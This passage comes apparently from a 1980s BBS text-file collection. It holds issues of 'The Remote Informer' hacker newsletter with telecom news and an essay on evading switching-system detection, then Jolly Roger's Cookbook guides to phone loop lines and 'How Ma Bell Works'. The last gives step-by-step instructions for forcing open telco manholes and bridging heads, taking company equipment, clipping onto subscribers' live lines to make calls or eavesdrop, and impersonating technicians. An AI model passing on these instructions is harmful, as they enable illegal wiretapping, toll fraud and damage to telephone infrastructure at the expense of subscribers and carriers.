  7278. distance company, after the American Telephone and Telegraph Co. (AT&T) and
  7279. MCI Communications Co.
  7280.      Last year, Washington based MCI undertook a similar reorganization in
  7281. which it posted a $502.5 million loss to write down old inventory and
  7282. restructure operations.
  7283.      Analysts said that is US Sprint is to turn a profit, the company must
  7284. increase its market share.  "To do this, US Sprint must gain more large
  7285. business customers, which account for about 80 percent of industry revenues,"
  7286. said Robert B. Morris III, Securities in San Francisco.
  7287.      Morris said that by using a slick marketing campaign to differentiate its
  7288. all-fiber telephone network from those of competitors, US Sprint more than
  7289. doubled its customer base last year.  But "most of these customers were
  7290. residential and small business users that added little to Sprint's bottom
  7291. line," he added.  "If the company expects to be profitable, it will have to
  7292. concentrate on providing the best service to volume users."
  7293. ] This information was supplied by Ye Cap'n
  7294. ==============================================================================
  7295. =             Secret Service Cracks Down on Teen Hackers                     =
  7296. ==============================================================================
  7297.      Mount Lebanon, PA -- The US Secret Service and local police departments
  7298. have put a scare into the hacker community with a nationwide crackdown on
  7299. computer crime that has resulted in the arrests of teenage hackers in at least
  7300. three cities.
  7301.      "People who monitor the bulletin boards say there are a lot of nervous
  7302. hackers out there, wondering who will be arrested next," says Ronald E.
  7303. Freedman, vice-president of Advanced Information Management, a Woodbridge, VA
  7304. base computer security firm.
  7305.      Nine teenagers from Mount Lebanon Junior-Senior High School near
  7306. Pittsburg, PA, were arrested recently and charged with computer fraud.  The
  7307. juveniles allegedly used home computers to gain illegal access to a credit
  7308. card authorization center.  They obtained valid credit card numbers and used
  7309. them to purchase thousands of dollars worth of mail order merchandise, the
  7310. police said.
  7311.      Freedman says it appears the hackers used some relatively sophisticated
  7312. techniques in the scheme, including specially written software that enabled
  7313. them to bypass security controls and navigate through credit records to obtain
  7314. key information.
  7315.      Police officials say that the hackers also obtained access codes from
  7316. pirate bulletin board systems to make free long distance calls and gain access
  7317. to various business and government computers.
  7318.      The arrests were the result of a 6 week investigation by the Secret
  7319. Service and the Mount Lebanon police. The police were tipped off by parents
  7320. who were suspicious about how their son managed to obtain a skateboard valued
  7321. at $140.
  7322.      The Secret Service was also involved in investigations that led to the
  7323. arrests of several hackers in San Francisco and New York last July.
  7324.      Secret Service spokesman William Corbett says that although some reports
  7325. have portrayed the hackers as part of a national crime ring, the cases are
  7326. unrelated.  "It's just that a few of these computers hacking cases came to a
  7327. head at about the same time," he says.
  7328.      Federal Legislation enacted in 1984 gives the Secret Service, part of the
  7329. Department of the Treasury, a major role in investigating computer crimes.
  7330. Under the federal Computer Fraud and Abuse Act of 1986, computer fraud is a
  7331. felony that carries a maximum penalty of 5 years for the first offense, and 10
  7332. years for the second.  Displaying unauthorized passwords on hacking bulletin
  7333. boards carries a maximum penalty of 1 year in prison for the first offense,
  7334. and 10 years for the second.
  7335. ] This information was supplied by Ye Cap'n
  7336. ==============================================================================
  7337. =                          German Teens Crack NASA                           =
  7338. ==============================================================================
  7339.      Washington, D.C. -- A group of West German teenagers from the Chaos
  7340. Computer Club penetrated a NASA network recently, saying they were doing it to
  7341. "test the security."
  7342.      What they got into was SPAN Net, a computer network with about 700 notes,
  7343. which is actually based at the Goddard Space Center in Maryland.  All that's
  7344. in there is unclassified data, space science information, and post-flight data
  7345. anaysis.  "Anyone with NASA related research can apply for access to SPAN"
  7346. says a spokesman, who adds that the network runs on DEC VAX hardware.  "We
  7347. picked up three attempts to gain access and put in security precautions so it
  7348. would't happen."  His personal opinion is, "We're happy that they couldn't get
  7349. back in, and decided to go public."  He also added that NASA has many other
  7350. networks, many of the classified and "probably inpenetrable.  But I do not
  7351. want to challenge anybody."
  7352.      How'd they get in?  Probably they got a West German NASA licensee, which
  7353. gave them a visitor's pass, then they created new passwords with unlimited
  7354. security for themselves, after which getting around the network was easy.
  7355. ] Supplied by Ye Cap'n
  7356. ==============================================================================
  7357.     We look for information in anyway related to the newsletter.  If you have
  7358. something of interests, or something that you saw on television, or in the
  7359. newspaper, then upload it to one of the boards listed below.  You will receive
  7360. full credit.
  7361. Pirate's Hollow..................................................(415)593-6784
  7362. Bate's Motel.....................................................(619)267-0293
  7363. ==============================================================================
  7364.  
  7365.  
  7366. ##############################################################################
  7367. #                     _________________________________                      #
  7368. #                      /he Remote Informer Newsletter!                       #
  7369. #                                                                            #
  7370. #----------------------------------------------------------------------------#
  7371. # November                                                     TRI Issue: 04 #
  7372. #----------------------------------------------------------------------------#
  7373. #                                                                            #
  7374. #     The Editors: Tracker, Ye Cap'n, Norman Bates and The Reporter          #
  7375. #                                                                            #
  7376. ##############################################################################
  7377. ==============================================================================
  7378. =                 FCC Charges Much Ado About Not Much                        =
  7379. ==============================================================================
  7380.      New Cannan, CT -- International Resource Develope of New Cannan, CT says
  7381. that the market bubble for packet switch networks like TeleNet is going to
  7382. burst by 1991, regardless of what the Federal Communications Commission does
  7383. about access charges.  Cheap fiber, which greatly increases the capacity, and
  7384. ISDN services, which let you share a phone line with your computer, will do
  7385. the business in, the report says.  Over the next four years, however, the
  7386. demand for packet switch services to will grow from $650 million to $1,612
  7387. million (If the Baby Bells are allowed to add competition to the market, the
  7388. $5/hour access charge cannot be passed though to the customers anyway).
  7389. ] Supplied by Ye Cap'n
  7390. ==============================================================================
  7391. =                   Pirate's Hollow Update                                   =
  7392. ==============================================================================
  7393.      San Carlos, CA -- The Pirate's Hollow, one of the more popular BBS's in
  7394. the Bay Area, is installing several new features that will even add to it's
  7395. popularity.  For one, users will be able to gamble against each other by
  7396. betting on NFL games and participating in the Pirate's Hollow Lottery.  Also,
  7397. in order to support one of the best newsletters around, the Pirate's Hollow
  7398. will soon be adding a seperate module that will act as an outpost for The
  7399. Remote Informer.  This module will feature the older issues of the newsletter,
  7400. a section that will keep you abreast of updates of recently released
  7401. information, and a section that will show what is upcoming in the next issues
  7402. of The Remote Informer.
  7403.      The long-awaited database will soon be put online.  Over 800 textfiles
  7404. on a variety of subjects will be available to the users that pay the access
  7405. fee that will be determined at a later date.  Many more are on the way, and
  7406. will be included at no charge. The charge will be a one time charge though,
  7407. rather than a yearly payment.
  7408.      Another new option will be available by early December.  PC Pursuit
  7409. callback will be installed.  This will allow people to call and then get
  7410. called back if your area code is supported by PC Pursuit.  This will also
  7411. require a charge, to be set at a later date.
  7412.      The Pirate's Hollow has been doing well in its comeback to the
  7413. telecommunications world, but we need more callers in order to formulate a
  7414. more diverse user base.  Please spread the BBS # around while also trying to
  7415. make others aware of the newsletter.
  7416. ==============================================================================
  7417. =                               Switching Systems                            =
  7418. ==============================================================================
  7419.      There are currently three different forms of switching systems that are
  7420. present in the United States today. Step by Step (SxS), Crossbar, and the
  7421. Electronic Switching System (ESS) make up the group.  Phreaks have always been
  7422. a little tenative when it comes to "doing their work" once they have heard
  7423. about effects of switching systems on their hobby.  After researching this
  7424. topic, I have found that there really is not that much to be worried about.
  7425. Read on, while I share with you information which I have compiled about all of
  7426. these switching systems and their distinct features.
  7427.      The first switching system that was used in the country was called Step
  7428. by Step.  This was adopted in 1918 by Bell, and until 1978, they had over 53%
  7429. of all their exchanges using Step by Step (SxS).  This system is known for
  7430. it's long, confusing train of switches that are used for its step by step
  7431. switching.
  7432.      Step by Step has many disadvantages to phone users.  The switch train
  7433. becomes jammed fairly often, and it causes calls to be blocked.  Also, SxS
  7434. does not allow the use of DTMF dialing. This accounts for some of the areas in
  7435. the United States that cannot have touch tone dialing abilities.  A tremendous
  7436. amount of electricity and maintenance needs to accompany the SxS switching
  7437. system, which makes it even more impratical.  All in all, this is probably the
  7438. most archaic switching system around.  
  7439.     There are a number of ways to see if you are on SxS.  You will notice that
  7440. there are no pulsing digits after dialing.  Most sources say that the phone
  7441. company will sound like many typewriters.  SxS does not offer features such as
  7442. speed calling, call forwarding, three-way calling, call waiting, and other
  7443. such services.  Pay phones on SxS also will want your money before you receive
  7444. a dial tone.  This adds to the list of disadvantages labelled to that of the
  7445. Step by Step switching systems.
  7446.      Another type of switching system that is prevalent in the United States
  7447. is Crossbar.  Crossbar has been Bell's primary switcher after 1960, and three
  7448. types of it exists.  Number 1 Crossbar (1xB), Number 4 Crossbar (4xB), and the
  7449. Number 5 Crossbar (5xB).  In Crossbar, a switching matrix is used for all the
  7450. phones in an area, and when someone calls, the route is determined and is met
  7451. up with the other phone.  This matrix is set-up in horizontal and vertical
  7452. paths.  Unlike other swichting systems, in my research, I could not come up
  7453. with any true and definate distinguishing features of the Crossbar switching
  7454. systems.
  7455.      The Electronic Switching System (ESS) is yet another switching system
  7456. used in the United States and the most used of all three swicthing systems.
  7457. ESS is an extremely advanced and multi-faced type of switching system, and is
  7458. feared by marauders of the phone company everywhere.  With ESS, your phone
  7459. company is able to know every digit dialed (including mistakes), who you call,
  7460. when you called, and how long you were connected.  ESS is also programmed to
  7461. print out the numbers of people who make excessive calls to WATS numbers (800
  7462. services) or directory assistance.  This feature of ESS is called 800
  7463. Exceptional Calling Report, and has spelled the end of some forms of
  7464. continuous code hacks to certain extenders.  ESS can also be programmed to
  7465. print logs of who called and abused certain numbers as well.  Everything is
  7466. kept track of in its records.
  7467.      The aforementioned facts show that ESS has made the jobs of organizations
  7468. such as the FBI, NSA, and other phone company security forces easier.  Tracing
  7469. can be done in a matter of microseconds, and the result will be conveniently
  7470. printed out on the monitor of a phone company officer.  ESS is also programmed
  7471. to pick up any "foreign tones" on the phone line such as the many varied tones
  7472. emulated by boxes.
  7473.      ESS can be identified by a few features common in it.  The 911 emergency
  7474. service is covered in the later versions of ESS.  Also, you are given the dial
  7475. tone first when using a pay phone unlike that of SxS.  Calling services like
  7476. call forwarding, speed calling, and call waiting are also common to ESS.  One
  7477. other feature common to ESS is ANI (Automatic Number Identification) for long
  7478. distance calls.  As you can see, ESS is basically the zenith of all switching
  7479. systems, and it will probably plague the entire country by the early 1990's.
  7480. Soon after, we should be looking forward to a system called CLASS.  This
  7481. switching system will contain the feature of having the number of the person
  7482. that is calling you printed out on your phone.
  7483.      What have I concluded about these switching systems?  Well, they are not
  7484. good enough.  I know a few people employed by the phone company, and I know
  7485. for a fact that they do not have enough time these days to worry about code
  7486. users, especially in large, metropolitan areas.  So, I will go out on a limb
  7487. here, and say that a large portion of people will never have to worry about
  7488. the horrors of ESS.
  7489. ] Written by Ye Cap'n
  7490. ==============================================================================
  7491. =                  New Gizmo Can Change Voice Gender                         =
  7492. ==============================================================================
  7493.      The most amazing device has turned up in the new Hammacher Schlemmer
  7494. catalog:  the telephone voice gender changer.
  7495.      What it does is change the pitch of your voice from, say, soprano to bass
  7496. -- a most efficient way to dissuade an obscene phone caller just as he's
  7497. getting warmed up.
  7498.      That is not the same as running a 45 r.p.m. record at 33. In digital
  7499. conversion, the pitch can be changed without altering the speed.
  7500.      The device runs on a 9-volt batter and attaches to the telephone mouth
  7501. piece with a rubber coupler that takes but a moment to slip on and off.
  7502.      With the changer switched on, says Lloyd Gray, a Hammacher Schlemmer
  7503. technical expert, "the effect is similar to what you hear when they interview
  7504. an anonymous woman on television and disguise her voice by deepening it."
  7505. "It's better for changing a woman's voice to a man's than the other way
  7506. around," Gray said.  A man can use it to raise the pitch of his voice, but he
  7507. still won't sound like a woman."
  7508.      A man could, however, use the changer to disguise his voice. But with the
  7509. device set on high, Gray's voice still could be identified as his own. On low,
  7510. his normal tenor became so gravel like that the words were unintelligible.
  7511. ] Supplied by Tracker and The Reporter
  7512. ==============================================================================
  7513.  
  7514.      We look for information in anyway related to the newsletter.  If you have
  7515. something of interests, or something that you saw on television, or in the
  7516. newspaper, then upload it to one of the boards listed below.  You will receive
  7517. full credit.
  7518. Pirate's Hollow..................................................(415)593-6784
  7519. Bates Motel......................................................(619)267-0293
  7520. ==============================================================================
  7521.  
  7522.    Brought to you by the Jolly Roger in the Cookbook!!!!!!!!!!!!!!!!!!
  7523.  
  7524. ##############################################################################
  7525. #                      _________________________________                     #
  7526. #                       /he Remote Informer Newsletter!                      #
  7527. #                                                                            #
  7528. #----------------------------------------------------------------------------#
  7529. # November                                                     TRI Issue: 05 #
  7530. #----------------------------------------------------------------------------#
  7531. #                                                                            #
  7532. #    The Editors:  Tracker, Ye Cap'n, Norman Bates, and The Reporter         #
  7533. #                                                                            #
  7534. ##############################################################################
  7535. ==============================================================================
  7536. =                                 AT&T Rates                                 =
  7537. ==============================================================================
  7538.      WASHINGTON -- American Telephone & Telegraph Co. proposed Tuesday to
  7539. lower its interstate long-distance rates by an average of 3.6 percent to
  7540. reflect reduced costs in connecting to the local telephone network.
  7541.      The largest decrease -- 6.3 percent -- would be seen in day time prices
  7542. "because of the need to make those rates more competitive," AT&T said.
  7543.      Rates for calls made during evening hours would drop 2.2 percent and
  7544. calls made during the late night and weekends would be cut by 0.8 percent, the
  7545. company said.
  7546.      The rate reductions would take effect Jan. 1, if they are approved by the
  7547. Federal Communications Commission.
  7548.      Reacting to the proposed price cuts, MCI Communications Corp. and US
  7549. Sprint Communications Co., the nation's second-largest and third-largest long
  7550. distance companies respectively, said their response would depend on what the
  7551. FCC finally approves but both said they intended to remain competitive with
  7552. AT&T. AT&T, the nation's largest long-distance company, proposed to the FCC
  7553. that its rates drop as much as $800 million, but AT&T said the exact amount
  7554. will depend on the access charges the FCC allows the local telephone companies
  7555. to collect from long distance carriers, which must pay the fees to hook into
  7556. the phone local network.
  7557.      AT&T has challenged the new access rates filed by the regional Bell
  7558. operating companies, contending they are more than $1 billion too high.
  7559. In proposing its new rates, the long-distance leader told the FCC it
  7560. expects local companies' access fees to fall by at least $200 million -- which
  7561. would amount to an average rate reduction of less than 1 percent.  But the
  7562. company said it believes the FCC will order an additional $600 million in
  7563. reductions based on AT&T's challenge.
  7564.      "We're confident the FCC will recognize that access charges filed by the
  7565. local telephone companies need to be substantially reduced, which would mean
  7566. more savings for our customers," said Larry Garfinkel, AT&T vice president for
  7567. marketing.
  7568.      He said the company filed its proposed rates based on disputed charges
  7569. because "we wanted to let the public react ... and further to let the FCC have
  7570. full knowledge of where we were heading given our expectation that we had a
  7571. valid basis for our dispute."
  7572.      AT&T's long-distance rates have fallen by about 34 percent since the
  7573. company was stripped of its local operating companies by an antitrust decree
  7574. nearly four years ago.
  7575.      Since then, phone rate payers have been paying a larger share of the costs
  7576. of maintaining the local network through monthly subscriber line charges, now
  7577. $2.60 for residential customers.
  7578.      That has reduced the long-distance companies' share of local network
  7579. expenses, which they pay in the form of access charges.
  7580.      Jack Grubman, a telephone analyst with PaineWebber Inc., said AT&T's
  7581. proposal targets business customers because "that's where the competition is
  7582. and where the better (profit) margins are." In addition, it aims to keep the
  7583. pressure on competition in international calling by extending discounts to
  7584. more customers. Grubman added that, if the company's rate proposal is approved
  7585. by the FCC, he would expect no further cuts in AT&T rates in 1988.
  7586.      Wendell Lind, AT&T administrator of rates and tariffs, said the cuts for
  7587. business and residential customers are about the same because business cuts
  7588. are offset by a proposed $128 million increase in AT&T's private line rates.
  7589.      AT&T is the only long-distance company whose rates are regulated by the
  7590. FCC, but its prices set the pace for the industry. Though AT&T is far larger
  7591. than any of its competitors, its market share has been declining since
  7592. divestiture and the company now says it serves about 75 percent of the market.
  7593.      In addition to the reductions in basic long-distance rates, AT&T proposed
  7594. cutting prices by 5 percent and 5.7 percent for its Pro-America calling plans.
  7595.      The company also proposed to reduce prices by 2.9 percent for its 800
  7596. Service customers and 4.4 percent for WATS customers, although it would
  7597. increase the monthly access line charges for those plans by $3.20 to reflect
  7598. higher special access charges filed by the local phone companies.
  7599. ] Supplied by Tracker and The Reporter
  7600. ==============================================================================
  7601. =               US Sprint Operator Service Traffic Increases 40%             =
  7602. =                          New Center Added In Dallas                        =
  7603. ==============================================================================
  7604.      ORLANDO, Fla. -- US Sprint Wednesday announced its long distance
  7605. operators who began saying, "May I help you?" just five months ago, are now
  7606. handling 3.5 million calls a month.
  7607.      The fiber-optic long-distance carrier, offering the only operator service
  7608. alternative to AT&T has experienced a 40 percent growth in operator service
  7609. calls since it announced its service July 1.
  7610.      Amanda Weathersby, US Sprint vice president of product marketing, said
  7611. Tuesday, "More and more people are taking advantage of our call completion
  7612. assistance and alternative billing arrangements.
  7613.      "Customer surcharges are the same as AT&T with the added benefit of US
  7614. Sprint's fiber-optic quality and lower long-distance rates."
  7615.      US Sprint currently offers person-to-person, station-to-station, call
  7616. completion and collect calling. US Sprint has announced an agreement with US
  7617. WEST Service Link that will allow anyone to call on US Sprint and charge
  7618. their calls to a Regional Bell Operating Co. calling card beginning in first
  7619. quarter 1988.
  7620.      "Previously, our operator service was available only on pre-subscribed
  7621. US Sprint phones and recently we added operator assistance for US Sprint FON
  7622. CARD customers," Weathersby said.
  7623.      "With this new agreement, we'll be able to expand our operator service
  7624. to markets such as pay phones, hospitals, and hotels/motels."
  7625.      The newest 24-hour operator service center in Dallas began operations on
  7626. Oct. 5.  US Sprint's other operator service centers are  in:  Cherry Hill,
  7627. N.J.; Atlanta; Lombard, Ill. and Reno, Nev.
  7628.      US Sprint is a joint venture of United Telecommunications Inc. of Kansas
  7629. City, Mo. and GTE Corp. of Stamford, Conn.
  7630. ] Supplied by Tracker and The Reporter
  7631. ==============================================================================
  7632. =             Pacific Bell Pursuing Calling Card Thief                       =
  7633. ==============================================================================
  7634.      SAN FRANCISCO--(BW)--Pacific Bell is warning consumers to protect their
  7635. telephone calling cards like any other credit card in the wake of a series of
  7636. frauds by people posing as phone company employees.
  7637.      A Pacific Bell spokesman says customers in the 213, 805 and 916 area
  7638. codes are being victimized by someone who says he is a telephone company
  7639. employee investigating calling card fraud.  The individual calls people at
  7640. home at odd hours, asking for their calling card numbers.  He then sells the
  7641. numbers to people who use the numbers to make long distance phone calls.
  7642.      As recently as Monday of this week, 180 long distance calls were billed
  7643. to a Sacramento area resident who had given his number to the thief just three
  7644. hours earlier.
  7645.      According to Pacific Bell, this kind of scheme and other forms of calling
  7646. card fraud cost telephone customers nationwide half a billion dollars a year.
  7647.      The company offered these tips to consumers to avoid becoming a victim of
  7648. calling card fraud:
  7649.      Never give your calling card number or personal identification number to
  7650. anyone.  Any telephone company employee with a legitimate need to know the
  7651. number has access to it.    
  7652.      Treat your calling card like any other credit card.  Report its loss
  7653. immediately by calling the 800 number on the back of the card 800-621-0430.
  7654.      If you receive a suspicious call regarding your telephone calling card,
  7655. report it by calling the 800 number on the back of the card.    
  7656.      If you receive a call from someone claiming to be a telephone company
  7657. employee and asking for your calling card number, ask for a name and number to
  7658. call back.  Then call the local Pacific Bell business office to report the
  7659. incident.
  7660.      One suspect was arrested in Southern California last week by a quick
  7661. thinking customer who did just that.  Pacific Bell immediately contacted the
  7662. local police department.  A suspect holding seven stolen calling card numbers
  7663. was arrested minutes later.
  7664.      Pacific Bell and long-distance telephone companies will credit customers
  7665. for calling card charges determined to be fraudulent.  Pacific Bell is a
  7666. subsidiary of Pacific Telesis Group, a diversified telecommunications
  7667. corporation based in San Francisco.
  7668. ] Supplied by Tracker and The Reporter
  7669. ==============================================================================
  7670.      We look for information in anyway related to the newsletter.  If you have
  7671. something of interests, or something that you saw on television, or in the
  7672. newspaper, then upload it to one of the boards listed below.  You will receive
  7673. full credit.
  7674. Pirate's Hollow..................................................(415)593-6784
  7675. Bates Motel......................................................(619)267-0293
  7676. ==============================================================================
  7677.  
  7678.   Brought to you in the Cookbook courtesy of the Jolly Roger!!!!!!!!!!!
  7679.  
  7680. The Phreaker's Guide to Loop Lines          courtesy of the Jolly Roger
  7681.  
  7682.     A loop is a wonderous device which the telephone company created as test
  7683. numbers for telephone repairmen when testing equipment.  By matching the
  7684. tone of the equipment with the tone of the loop, repairmen can adjust and test
  7685. the settings of their telephone equipment.
  7686.     A loop, basically, consists of two different telephone numbers.  Let's
  7687. use A and B as an example.  Normally if you call A, you will hear a loud
  7688. tone (this is a 1004 hz tone), and if you call B, the line will connect, and
  7689. will be followed by silence.
  7690.     This is the format of a loop line. Now, if somebody calls A and someone
  7691. else calls B--Viola!--A and B loop together, and one connection is made.
  7692. Ma Bell did this so repairmen can communicate with each other without
  7693. having to call their own repair office. They can also use them to exchange
  7694. programs, like for ANA or Ringback. Also, many CO's have a "Loop Assignment
  7695. Center".  If anyone has any information on these centers please tell me.
  7696.     Anyway, that is how a loop is constructed.  From this information,
  7697. anyone can find an actual loop line. Going back to the A and B example,
  7698. Note: the tone side and the silent side can be either A or B.  Don't be fooled
  7699. if the phone company decides to scramble them around to be cute.
  7700.    As you now know, loops come in pairs of numbers.  Usually, right after each
  7701. other.
  7702.  For example: 817-972-1890
  7703.                  and
  7704.               817-972-1891
  7705.    Or, to save space, one loop line can be written as 817-972-1890/1.
  7706.    This is not always true.  Sometimes, the pattern is in the tens or hundreds,
  7707. and, occaisionally, the numbers are random.
  7708.    In cities, usually the phone company has set aside a phone number suffix
  7709. that loops will be used for.  Many different prefixes will correspond
  7710. with that one suffix.
  7711.    In Arlington, Texas, a popular suffix for loops is 1893 and 1894, and
  7712. a lot of prefixes match with them to make the number.
  7713.  For Example:  817-460-1893/4
  7714.                817-461-1893/4
  7715.                817-465-1893/4
  7716.                817-467-1893/4
  7717.                817-469-1893/4
  7718.         ...are all loops...
  7719.    or a shorter way to write this is:
  7720.               817-xxx-1893/4
  7721.       xxx= 460, 461, 465, 467, 469
  7722.    Note: You can mix-and-match a popular suffix with other prefixs in a
  7723. city, and almost always find other loops or test numbers.
  7724.    Note: For Houston, the loop suffixes are 1499 and 1799.  And for Detroit
  7725. it's 9996 and 9997.
  7726.    When there are a large number of loops with the same prefix format,
  7727. chances are that many loops will be inter-locked.  Using the above example
  7728. of Arlington loops again, (I will write the prefixes to save space) 460, 461,
  7729. and 469 are interlocked loops.  This means that only one side can be used at
  7730. a given time.  This is because they are all on the same circuit. 
  7731.    To clarify, if 817-461-1893 is called, 817-460 and 469-1893 cannot be
  7732. called because that circuit is being used.  Essentialy, interlocked loops
  7733. are all the same line, but there are a variety of telephone numbers to access
  7734. the line.
  7735.    Also, if the operator is asked to break in on a busy loop line he/she
  7736. will say that the circuit is overloaded, or something along those
  7737. lines.  This is because Ma Bell has taken the checking equipment off
  7738. the line.  However, there are still many rarely used loops which can
  7739. be verfied and can  have emergency calls taken on them.
  7740.    As you have found out, loops come in many types.  Another type of loop is a
  7741. filtered loop.  These are loop lines that the tel co has put a filter on, so
  7742. that normal human voices cannot be heard on either line.  However, other
  7743. frequencies may be heard.  It all depends on what the tel co wants the
  7744. loop to be used for. If a loop has gotten to be very popular with the
  7745. local population or used frequently for conferences, etc. the tel co may filter
  7746. the loop to stop the unwanted "traffic".  Usually, the filter will be
  7747. removed after a few months, though.
  7748.  
  7749.                    ----------------Brought to you by the Jolly Roger
  7750.  
  7751.  
  7752. How Ma Bell Works                               by the Jolly Roger
  7753.         
  7754. In  this  article,  I  will first describe  the  termination,  
  7755. wiring,  and  terminal  hardware most commonly used in  the  Bell  
  7756. system, and I will include section on methods of using them. 
  7757.      ------------- 
  7758.      LOCAL NETWORK 
  7759.      ------------- 
  7760. The   local   telephone   network   between   the    central  
  7761. office/exchange  and  the  telephone subscribers can  be  briefly  
  7762. described as follows: 
  7763. From  the  central office (or local exchange) of  a  certain  
  7764. prefix(es), underground area trunks go to each area that has that  
  7765. prefix  (Usually  more than one prefix per area.)  At  every  few  
  7766. streets or tract areas, the underground cables surface. They then  
  7767. go to the telephone pole (or back underground,  depending on  the  
  7768. area)  and  then  to the subsribers house (or in the case  of  an  
  7769. apartment building or mutliline business,  to a splitter or  dis- 
  7770. tribution box/panel).  
  7771. Now  that  we have the basics,  I'll try and go in-depth  on  the  
  7772. subject. 
  7773.     ------------------ 
  7774.     UNDERGROUND CABLES 
  7775.     ------------------ 
  7776. These  are sometimes inter-office trunks,  but usually in  a  
  7777. residential  area they are trunk lines that go to bridging  heads  
  7778. or  distribution  cases.  The cables are about 2-3  inches  thick  
  7779. (varies),  and  are  either  in  a metal  or  pvc-type  pipe  (or  
  7780. similiar).  Rarely (maybe not in some remote rural areas) are the  
  7781. cables  just 'alone' in the ground.   Instead they are usually in  
  7782. an  underground cement tunnel (resembles a small sewer or  storm- 
  7783. drain.)   The manholes are >heavy< and will say 'Bell system'  on  
  7784. them.  they can be opened with a 1/2 inch wide crowbar (Hookside)  
  7785. inserted  in the top rectangular hole.  There are ladder rungs to 
  7786. help you climb down.  You will see  the cable  pipes on the wall, 
  7787. with the blue and white striped one being  the inter-office trunk 
  7788. (at  least  in my  area).  The others  are local  lines,  and are 
  7789. usually marked or color  coded.  There is almost  always a posted 
  7790. color code  chart on the wall, not to mention  Telco manuals de- 
  7791. scribing the cables and terminals, so I need not get into detail. 
  7792. Also, there is usually  some kind  of  test equipment,  and often 
  7793. Bell test sets are  left  in there. 
  7794.        -------------- 
  7795.        BRIDGING HEADS 
  7796.        -------------- 
  7797. The  innocent-looking  grayish-green boxes.   These  can  be  
  7798. either trunk bridges or bridging for residences.  The major trunk  
  7799. bridging  heads  are usually larger,  and they have the  'Western  
  7800. Electric' logo at the bottom,  whereas the normal bridging  heads  
  7801. (which  may  be different in some areas-depending on the  company  
  7802. you are served by.  GTE B.H.'s look slightly different.  Also, do  
  7803. not  be  fooled by sprinkler boxes!)  They can be found  in  just  
  7804. about every city. 
  7805. To open a bridging head: if it is locked (and you're feeling  
  7806. destructive),  put a hammer or crowbar (the same one you used  on  
  7807. the  manhole) in the slot above the top hinge of the right  door.   
  7808. Pull hard, and the door will rip off. Very effective! If it isn't 
  7809. locked (as usual),  take a 7/8 inch hex socket and with it,  turn 
  7810. the bolt  about 1/8 of a turn  to the  right  (you  should hear a 
  7811. spring release inside). Holding the bolt, turn the handle all the 
  7812. way to the left and pull out. 
  7813. To Check for a test-set (which are often left by Bell employees), 
  7814. go inside - First check  for a test-set  (which  are  often  left  
  7815. by  Bell  employees).   There should be a panel of terminals  and  
  7816. wires.   Push the panel back about an inch or so,  and rotate the  
  7817. top  latch  (round with a flat section)  downward.   Release  the  
  7818. panel  and it will fall all the way forward.  There is usually  a  
  7819. large  amount  of wire and extra terminals.   The  test-sets  are  
  7820. often hidden here,  so don't overlook it (Manuals,  as  well,  are  
  7821. sometimes placed in the head).   On the right door is a metal box  
  7822. of alligator clips.   Take a few (Compliments of Bell.).  On each  
  7823. door is a useful little round metal device. (Says 'insert gently'  
  7824. or'  clamp  gently - do not overtighten' etc..)  On the front  of  
  7825. the disc, you should find two terminals.  These are for your test  
  7826. set.   (If you dont have one, dont despair -I'll show you ways to  
  7827. make basic test sets later in this article). 
  7828. Hook the ring (-) wire to the 'r' terminal;  and the tip (+)  
  7829. wire  to the other.  (By the way,  an easy way to  determine  the  
  7830. correct polarity is with a 1.5v LED.   Tap it to the term.  pair,  
  7831. if  it  doesnt light,  switch the poles until it does.   When  it  
  7832. lights,find the longer of the two LED poles:  This one will be on  
  7833. the  tip wire (+).   Behind the disc is a coiled  up  cord.  This  
  7834. should have two alligator clips on it..  Its very useful, because  
  7835. you dont have to keep connecting and disconnecting the fone (test  
  7836. set) itself, and the clips work nicely. 
  7837. On  the  terminal  board,  there should be  about  10  screw  
  7838. terminals  per  side.   Follow the wires,  and you can see  which  
  7839. cable pairs are active.  Hook the clips to the terminal pair, and  
  7840. you're set!   Dial out if you want,  or just listen (If someone's  
  7841. on theline).  Later,  I'll show you a way to set up a true  'tap'  
  7842. that  will let the person dial out on his line and receive  calls  
  7843. as normal, and you can listen in the whole time.  More about this  
  7844. later... 
  7845. On  major  prefix-area bridging heads,  you can  see  'local  
  7846. loops' ,which are two cable pairs (cable pair = ring+tip,  a fone  
  7847. line)  that are directly connected to each other on the  terminal  
  7848. board.   These  'cheap  loops' as they are called,  do  not  work  
  7849. nearLy  as  well  as the existing ones set up  in  the  switching  
  7850. hardware  at the exchange office.   (Try scanning your  prefixes'  
  7851. 00xx  to 99xx #'s.)  The tone sides will announce themselves with  
  7852. the 1008 hz loop tone,  and the hang side will give no  response.   
  7853. The  first  person  should dial the 'hang' side,  and  the  other  
  7854. person dial the tone side,  and the tone should stop if you  have  
  7855. got the right loop.) 
  7856. If  you want to find the number of the line that you're  on,  
  7857. you  can either try to decipher the 'bridging log' (or whatever),  
  7858. which is on the left door.  If that doesnt work,  you can use the  
  7859. follwing: 
  7860.      --------------------------- 
  7861.      ANI # (Automatic Number ID) 
  7862.      --------------------------- 
  7863. This  is a Telco test number that reports to you the  number  
  7864. that youre calling from (It's the same, choppy 'Bell bitch' voice  
  7865. that you get when you reach a disconnected #)  
  7866. For the   213 NPA - Dial 1223 
  7867.           408 NPA - Dial 760 
  7868.           914 NPA - Dial 990 
  7869. These  are  extremely useful when messing with any  kind  of line
  7870. terminals, house boxes, etc. 
  7871. Now that we have bridging heads wired, we can go on... (don't  
  7872. forget to close and latch the box after all... Wouldnt want GE  
  7873. and Telco people mad, now, would we?)  
  7874.      ------------------------------------- 
  7875.      "CANS" - Telephone Distribution Boxes 
  7876.      ------------------------------------- 
  7877.  
  7878. Basically, two types: 
  7879. 1> Large, rectangular silver box at the end of each street. 
  7880. 2> Black, round, or rectangular thing at every telephone pole. 
  7881. Type 1 -   This is the case that takes the underground cable from  
  7882. the  bridge and runs it to the telephone pole cable (The  lowest,  
  7883. largest  one  on the telephone pole.)  The box is always  on  the  
  7884. pole nearest the briging head, where the line comes up.  Look for  
  7885. the 'Call before you Dig - Underground cable' stickers.. 
  7886. The  case box is hinged,  so if you want to climb the  pole,  
  7887. you  can open it with no problems.   These usually have 2 rows of  
  7888. terminal sets.  
  7889. You  could try to impersonate a Telco technician and  report  
  7890. the  number as 'new active' (giving a fake name and fake  report,  
  7891. etc.)   I  dont recommend this,  and it  probably  won't  (almost  
  7892. positively won't) work,  but this is basically what Telco linemen  
  7893. do). 
  7894. Type  2 - This is the splitter box for the group of houses around  
  7895. the  pole  (Usually  4 or 5 houses).   Use it  like  I  mentioned  
  7896. before.   The terminals (8 or so) will be in 2 horizontal rows of  
